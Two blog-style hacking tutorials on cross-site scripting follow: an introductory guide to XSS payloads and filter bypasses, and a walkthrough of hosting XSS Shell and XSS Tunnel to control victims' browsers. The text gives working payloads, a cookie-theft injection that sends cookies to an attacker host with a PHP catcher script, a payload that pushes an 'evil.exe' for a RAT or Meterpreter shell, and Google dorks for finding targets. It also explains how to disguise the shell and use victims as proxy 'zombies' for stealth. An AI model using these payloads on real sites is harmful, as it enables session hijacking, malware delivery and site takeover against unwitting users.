BASIC CROSS SITE SCRIPTING a.k.a. "XSS" INJECTIONS 101

I have previously covered a few topics on advanced XSS techniques involving the use of XSS Shell & XSS Tunnel as well as how to use XSS vulnerability to reach Full OS Compromise through use of XSSF+Metasploit. As a result of those write ups I received a lot of questions on how to get the basics of XSS done, so today I will do my best to present to you an introductory guide and overview to Cross Site Scripting, A.K.A. “XSS”. This is based on my experience and not based on any “real” material from a book – just things I have picked up over time and reading various other tutorials that are on the web, so take it with a grain of salt and remember this not a full guide nor are these the only methods available. Here goes...

Cross Site Scripting, or XSS, is vulnerability due to lack of validation and/or sanitization of user input in their JavaScript and/or HTML. Remote attackers are able to exploit the vulnerability by passing malformed queries through the URL or through submission forms and having it executed either on the client or server side, which results in the query being interpreted as JavaScript or HTML code. In the most basic scenario this results in an alert box indicating vulnerability has been found, with attacker defined message inserted within. These attacks are often simple and result in no further than a simple alert box, but it can also be used to steal users cookies for session high-jacking, and if you read my other tutorials you can see how a simple XSS vulnerability can also result in exploited browser session or even full OS compromise.   

XSS Vulnerabilities tend to come in three main flavors:

1.       Non-Persistent or Reflective

2.       Persistent or Stored

3.       DOM Based are generally held in their own category, but can be both persistent and non-persistent in nature (for more on this see the links provided at the end of the article)

I will be focusing on the first two for purposes of today’s write-up. Non-persistent or Reflective XSS vulnerabilities are ones that will be triggered due to client side rendering of the page code. This means that we have to convince potential victims to visit or click on our exploited link/page for the exploit to be triggered, since it will not be saved on the server. This means that even though you trigger the vulnerability, when the page gets refreshed the exploit will no longer be present on the page (it fails to stick if you will). It generally takes social engineering to make these types of vulnerabilities truly dangerous due to the simple nature and fact that it requires user interaction to exploit. Persistent XSS vulnerabilities on the other hand do stick and are actually stored on the server side. This means that anyone who visits the page where you exploited the XSS vulnerability will fall victim, as despite the page being reloaded and refreshed, since it is saved on server, it remains present for anyone who visits the page. Social engineering is not required, although it generally can be used to increase the amount of traffic being seen on any given page, or to get the right target audience. You will generally find Non-persistent XSS vulnerabilities in things like search bars, URL parameters, etc, whereas you will generally find Persistent XSS vulnerabilities in things like Guestbook, Comment/Reviews, and things like that. The differentiation there is in how the request and information is being handled. If the differentiation is not clear, hang with me and watch the videos at the end. OK, there are the basic differences….now let me show you some examples…

When checking for XSS vulnerabilities and injection strings you will be playing around with the HTML tags and JS objects and events to get the desired effect. There are many tags available and as such there are just as many methods for exploiting XSS vulnerabilities. We will begin with the very basics and then work our way through to more in depth methods. At the most basic level we can test for XSS vulnerability by injecting a script tag to generate an alert box or prompt with a brief message.

Try inserting this into search box, text field, or URL:

<script>alert(‘XSS’)</script>

You can also interchange prompt for alert in most cases, and you may find it is less filtered than alert. It would look like so:

<script>prompt(‘XSS’)</script>

If we see the message box it indicates we have found vulnerability and successfully exploited it. If we don’t see it right away it is OK, we can try a few quick things. In most cases the vulnerability exists due to the code not being properly handled or sanitized, so we can try to trick the code by inserting a single quote, bracket, or double quote to act as a closing bracket for the actual form/field we are injecting on so that our evil code is treated as normal code and executed. This essentially ends the input encapsulation and HTML tag before our injection string, which allows it to be triggered. In order to do this we might need to change the above to include some form of the following to get this affect (remember these are just a few examples, you can play around with things to see how different characters are handled):

</SCRIPT>">”

</SCRIPT>”>’

</SCRIPT>’>’

“/>

'/>

“>

‘>

>

\\>

\>

“;

‘;

;

We can view the page source of the Web page to see if we can find our injected string in the HTML code. The string may be present in several places you may find it completely intact, yet hidden from the casual observer. So if we use this method and instead inject this:

“><script>alert(‘XSS’)</script>

We successfully get our code to execute and get the following as a result:

If it were persistent anyone who visited this page from here out would be greeted with this message. If not we would need to trick people to visiting this specific URL link so it executes on the client side. If the site still doesn’t seem to be taking your injections you can try using a few different tricks before giving up. You need to use some common sense and try to pick up anything you can to determine what and/or how the site is filtering input as it can be used against it to bypass the filters that may be in place. If you notice the site is striping your quotes out so that our full string is not executed properly you can try methods to get around the quotes or to avoid using them altogether. We can first try to use “String.fromCharCode()”, which will allow us to bypass some basic filters and allow our alert message to be executed. We can turn our original injection above into this:

“><script>alert(String.fromCharCode(88, 83, 83))</script>

NOTE: Char(88, 83, 83) = XSS. You can replace with your own char value to send your message of choice, but the end result is the char code is interpreted and decoded resulting in alert(XSS) thus triggering our popup message box.

If this method still doesn’t work you can start trying alternative tag methods or try completely encoding your injections. You can encode the strings using URL encoding, UTF encoding, you name it. You never know what types of effects will happen or how it will be decoded so sometimes it is good to play with this aspect.

Here are a few examples of key go-to encoding schemes you can use to help bypass filters:

·         <script> = char(60,115,99,114,105,112,116,62)

o   HEX = 3c7363726970743e

·         </script> = char(60,47,115,99,114,105,112,116,62)

o   HEX = 3c2f7363726970743e

·         “> = char(63,62)

o   HEX = 201c3e

·         alert = char(97,108,101,114,116)

o   HEX = 616c657274

·         ( = char(40)

o   HEX = 28

·         ) =  char(41)

o   HEX = 29

·         ; = char(59)

o   HEX = 3b

·         < = %3c

o   = %3e

·         / = %2f

·         \ = %5c

·         >< = %3e%3c

·         " = \\

·         ' = \

·         =><>, ="><, ='><

o   =%3e%3c%3e,="%3e%3c,='%3e%3c

·         so the original: <script>alert(‘XSS’);</script>

·         becomes: %3Cscript%3prompt(String.fromCharCode(88, 83, 83));%3C%2Fscript%3

In regards to trying alternative tag methods you can get creative and use something like one of the following:

·         onmouseover=alert(‘XSS’)

·         <IMG SRC=javascript:alert('XSS')>

·         <img src="x:x" onerror="alert('XSS')">

·         <BODY ONLOAD=alert('XSS')>

·         <IFRAME SRC="javascript:alert('XSS');"></IFRAME>

·         <IMG SRC=javascript:prompt(String.fromCharCode(88, 83, 83))>

o   NOTICE: no quotes and no alert statement to get caught in the filters. Get creative with it and you will find you can bypass most things that come your way ;)

In addition to trying the above alternative tags or methods for injecting code you may also need to occasionally test out the filter system with some simple capitalization variances. You will find in some cases the filters are only setup to catch exact matches, so if you send two injections:

1.       <script>alert(‘XSS’)</script>

2.       <ScRIpT>aLErT(‘XSS’)</SCriPt>

If the filters are only set to catch exact matches it will stop the first injection, yet let the second injection pass right on through due to the fact that the simple variance causes it to not align with its given rule set.

Alright so we found some XSS vulnerabilities, either Persistent or Non-Persistent, what next? An attacker could now check the vulnerability to see if it can be used to steal cookies, which can lead to session high-jacking. An attacker could modify any of the above to trigger a message box revealing the user’s session cookie. This can be seen by inserting this injection string:

<script>alert(document.cookie)</script>

If successful it will result in something similar to this:

An attacker could then setup a simple PHP script on a remote machine they have control over and use this to receive the victim’s cookies.  If it were a persistent XSS vulnerability this could be done entirely without the victim’s knowledge whereas the non-persistent approach requires using Social Engineering to manipulate a user into visiting our specially crafted link (site.com/search.php?q=XSS).  If you must follow this method you will find that URL shortening services can really help to mask the URL so it does not look as scary of giveaway your cookie host (i.e. tinyurl.com/abc123). In order to capture the users cookie and actually send it to your remote machine where you have cookie catcher script setup you would need to inject something along the lines of this:

<script>document.location="http://RemoteAttackerSite.com/cookiegrabber.php?cookie=" + document.cookie</script>

This script if executed will grab the current user’s session cookie and send it to the hosted script on the remote attacker’s site. The script would be setup to either save the received information into a text file or possible even into a full database. Here is basic example of what it might look like (there are much more detailed scripts widely available with quick Google search but I needed to save space)…

Super Simple Cookie Catcher PHP Script:

                                <?php

                                $handle=fopen("victimcookies.txt","a");

                                fputs($handle,"\n".$_GET["cookie"]."\n");

                                fclose($handle);

                                ?>

From here an attacker can sort through the victimcookies.txt file on their hosted server and review the cookies they have captured. In order to steal a victim user’s session they merely need to use their favorite cookie editor and swap with one from the file and then refresh their browser to the target site URL. Upon browser refresh they will be logged in as victim user with victim user rights. If it were an Admin, this could allow a remote attacker to bypass IP restrictions on admin login pages and other sensitive directories allowing the attacker to further access and exploit the site.

NOTE: cookies tend to expire and the time allowed varies from site to site so you might not have a long time to explore before a session ends, but once controlled an attacker can setup a system to keep the cookies refreshed allowing them extended use of victim’s access rights.

If you don’t have the munchies or just don’t care for cookies, don’t worry you can do other stuff too! Instead of injecting code to send the cookie to our remote site we could actually send the user to our remote site to run some evil code against them. This could come in the form of a java drive-by, hosted browser exploit attack (see link at bottom to XSSF), whatever you can think of.

Just to show you a few more examples:

·         <script>for(;;)alert("bucle");</script>

o   This causes in infinite loop to occur causing a Denial of Service on the victim’s browser, which will force them to have to close their browser. Fun for laughs occasionally J

·         <body onLoad="document.location.href='http://www.google.com'">

·         <script>window.location="http://google.com";</script>

o   Either of the above will cause the page to load and redirect to our defined remote URL, just change Google to your site of choice

·         <iframe frameborder=0 height=0 width=0 src=javascript:void(document.location="http://www.google.com")></iframe>

o   This injects a hidden iframe into the current page. This can be used for anything you might be capable of using an iframe for, just edit Google to your site of choice

·         <script>document.location="http://www.fileave.com/downloads/evil.exe";</script>

o   You can use example like this to cause visitors to download your evil binary file to be executed for RAT or Meterpreter shell

·         <html><body><IMG SRC="http://site.com/yourDefaceIMAGE.png"></body></html>

·         <IMG SRC="http://site.com/yourDefaceIMAGE.png">

·         <EMBED SRC="http://site.com/xss.swf">

·         <script>window.location="http://www.pastehtml.com/YOURDEFACEHERE/";</script>

o   The above can be used in various ways to result in what is known as defacement, where the attackers picture/page replaces the original. This is more typically done with a persistent XSS vulnerability to get a noticeable impact and affect

I hope this has made some sense and helps others to understand the basics of Cross Site Scripting or XSS. I encourage others to read up on other methods and tools that can be used to extend their exploitability. I have also made a short video for those that need more of a visual experience to see the results. The video is just a simple example based on OWASP’s WebGoat project which I highly encourage you to become familiar with if you want to safely test some of these methods out.

WebGoat Video outlining Persistent or Stored XSS vs. Non-Persistent or Reflective XSS: 

As always I hope this was educational and helps a few folks out. Until next time, Enjoy!

Laters,

H.R.

Still curious and want to learn more, check these out:

TUT: XSS Shell & XSS Tunnel: Building Zombie Army out of XSS

TUT: XSSF + Metasploit: Full OS Compromise from XSS

DOM Based XSS – Online scanner and helpful info:  http://www.domxssscanner.com/

RSNAKE’s has put together some of the best for guides and online tools to help you get started: http://ha.ckers.org/xss.html & forums: http://sla.ckers.org/forum/index.php

Learn more about HTML: http://www.w3schools.com/html/

Learn more about JavaScript: http://www.w3schools.com/js/

Common Google Dorks for XSS:

·         inurl:search.php?q=

·         inurl:search.html

·         inurl:search.aspx

·         inurl:find.html

·         inurl:find.php

·         inurl:find.aspx

·         “Search”, "Guestbook", “Comment”, “review”, “user feedback”, etc

XSS SHELL & XSS TUNNEL – TAKING COMMON XSS VULNERABILITIES TO THE NEXT LEVEL

Today I will show you two neat tools which can be used to leverage common XSS vulnerabilities and allow you to take them to the next level. There are a lot of admins and general techies who don't think XSS vulnerabilities are anything to be concerned about. What can a simple alert box do? Hopefully after today you will look at your code a little harder and have a little more respect for all those pesky XSS finds. This is based on my recent experience in setting these up and seeing the results in real time which lead me to feel the need to share this. Here goes...

Things you need:

XSS Shell & XSS Tunnel, both available here in single download:   http://labs.portcullis.co.uk/application/xssshell/

Path Disclosure Script, available here: http://www.megaupload.com/?d=MGMF89LG
           Download and cahnge name from path.txt to path.asp

Patience

Brain.dll file

Create an account at any of your favorite ASP hosting sites, usually a free one will do. Now create and upload a index file to have something for quick checks to see if anything is there (and to throw off suspicion) so your site seems legit. Now we will upload the Path Disclosure Script you downloaded above (path.asp) and then navigate in our browser to it in order to find out what our default install path is so we can setup our db.asp file for connections to our MS-ACCESS database file.

Write down what you see on the screen, remove file, and then go and edit the db.asp for XSS Shell for the following line of code, change path to what you found above:

'// DATABASE CONFIGURATION

Const DBPATH = "X:\path\to\site\install”

Once this is done we also edit the xssshell.asp file to change the default password from “w00t” to something more secure (if you have troubles finding it in code just use CNTRL+F to find “w00t”), save it and rename the file to something less noticeable by staff reviewers, like kittens.asp. Once that is done, create a zip file for all of the content in our XSS Shell folder and name it SSX.zip. Then use your control panel features to unzip the content to speed up XSS Shell site build-out (otherwise it takes forever to upload one by one). 

Remove the .zip file and the path finder script to clean things up, so it should look something like this once done:

NOTE: on my host in this test run the “DB” folder was changed to “Db” and the “admin” folder was changed to “Admin”, so you may need to alter your scripts after uploading, just play with it a bit until it works for you. Also note you might need to alter scripts to align as well since your URL path may be case sensitive to match what control panel reflects, like in my case.

Now that you have everything uploaded it is time to navigate to the admin panel, you should be able to find it easily at:

http://www.yoursite.com/xssfolderifany/Admin/

 

You will login with whatever password you set originally in the xssshell.asp file. Once you login you are greeted with the XSS Shell admin panel.

OK, so things work now to get some victims… If you want to test it out real quick you can upload the Sample_Victim folder that comes with XSS Shell download. Just edit the code in the middle of page (comments point it out) and change to point to your new XSS Shell setup. Once completed, open up another browser and navigate to the /Sample_Victim/Default.asp page to activate. Alternatively you can get straight to work by injecting a form of this script into XSS vulnerable site and then getting victims to visit:

"><script src="http://yoursite.com/xssshellifany/xssshell.asp"></script>

When you get victims they will appear in the XSS Shell Admin Panel, like so:

 

From here you can grab victim cookies, send alert boxes to all victims as once, use victim browsers for DDoS, etc. If you are good with JavaScript you can do whatever your skills are limited to as you can add in your own custom commands and payloads rather easily under the eval(js) module section. If you want to know more about XSS Shell then please refer to the developers site as I will now be jumping onward into how we can utilize the XSS Shell with XSS tunnel to create a Zombie bot for further attacking, exploiting, whatever….

XSS Shell homepage can be found here, and download includes both XSS Shell and XSS Tunnel:  http://labs.portcullis.co.uk/application/xssshell/

OK, now that we have XSS Shell successfully setup we can extend its usefulness even further through the help of another tool called XSS Tunnel. This is a binary program made strictly for Windows. You simply need to download and open and configure to use our XSS Shell to then route all traffic we want using our XSS Shell victims as proxies. This can allow us to bypass IP restrictions should we grab an admin victim, which can then lead to further privilege escalations from the site admin panel. It also means we can turn our victims into Zombies and configure our favorite injection scanners, browsers, etc to use the Zombie victim as a proxy, meaning all logs on any servers we attack while connected will reflect our Zombies information and not ours adding yet another layer of stealth to our future exploitations.

Here is quick run through of the XSS Tunnel configuration. Double click file to run and you’re greeted with this:

We will need to click on the “OPTIONS” tab to enter our details for connecting to XSS Shell. Simply enter in the URL path to your XSS Shell Admin panel, and then enter the password you created for XSS Shell Admin Panel (xssshell.asp file stores the password if you already forgot).

You can hit the “TEST SERVER” button once you entered the correct details to check and confirm it is properly communicating with our XSS Shell. Upon success you will see message like so:

Now once you get victims in your XSS Shell you can use them as proxies for your favorite tools and/or to bypass site restrictions for further exploitation on the site where the original XSS flaw may have been found. In order to does this choose the interface or adapter you want to listen on and then choose the desired port to listen on and use for proxy functions. If you have something running on 8080 already then just changes it to meet your need. Transparency setting is purely for the XSS Tunnel GUI and nothing related to proxy function. Once you have it how you want you can click on the “START XSS TUNNEL” button near the top section, once you then enable the proxy function with your tools you will begin to see the requests flow through the main tab (if you care to watch or review).

This method can take a common non-persistent or persistent XSS vulnerability and turn it into a full site takeover proving that XSS is not something to be simply overlooked. I hope you have enjoyed this write up and enjoy playing with your new Zombie army!

Until next time… 

H.R.